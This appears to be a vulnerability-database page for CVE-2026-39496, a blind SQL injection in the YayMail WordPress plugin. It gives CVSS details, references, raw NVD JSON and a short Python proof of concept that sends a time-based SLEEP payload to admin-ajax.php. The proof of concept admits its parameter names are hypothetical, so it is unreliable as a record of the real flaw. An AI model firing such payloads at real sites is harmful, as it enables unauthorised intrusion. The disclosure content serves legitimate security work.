CVE-2026-39496

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in YayCommerce YayMail yaymail allows Blind SQL Injection.This issue affects YayMail: from n/a through <= 4.3.3.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

YayMail <= 4.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-39496 - YayMail Blind SQL Injection
# Note: Requires administrative privileges (PR:H)

target_url = "http://example.com/wp-admin/admin-ajax.php"
session_cookies = {
    "wordpress_logged_in_xxx": "your_admin_cookie_value"
}

# Vulnerable parameter (hypothetical based on typical plugin behavior)
payload_params = {
    "action": "yaymail_fetch_data",
    "order_id": "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
}

try:
    print("[*] Sending malicious payload...")
    response = requests.get(target_url, params=payload_params, cookies=session_cookies, timeout=10)
    
    if response.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability confirmed! Response delayed.")
        print("[+] The application is susceptible to Blind SQL Injection.")
    else:
        print("[-] Vulnerability not detected or payload invalid.")
        
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39496
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39496
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39496/
[4] VulDB https://vuldb.com/cve/CVE-2026-39496
[5] https://patchstack.com/database/Wordpress/Plugin/yaymail/vulnerability/wordpress-yaymail-plugin-4-3-3-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39496", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:23.953", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in YayCommerce YayMail yaymail allows Blind SQL Injection.This issue affects YayMail: from n/a through <= 4.3.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/yaymail/vulnerability/wordpress-yaymail-plugin-4-3-3-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}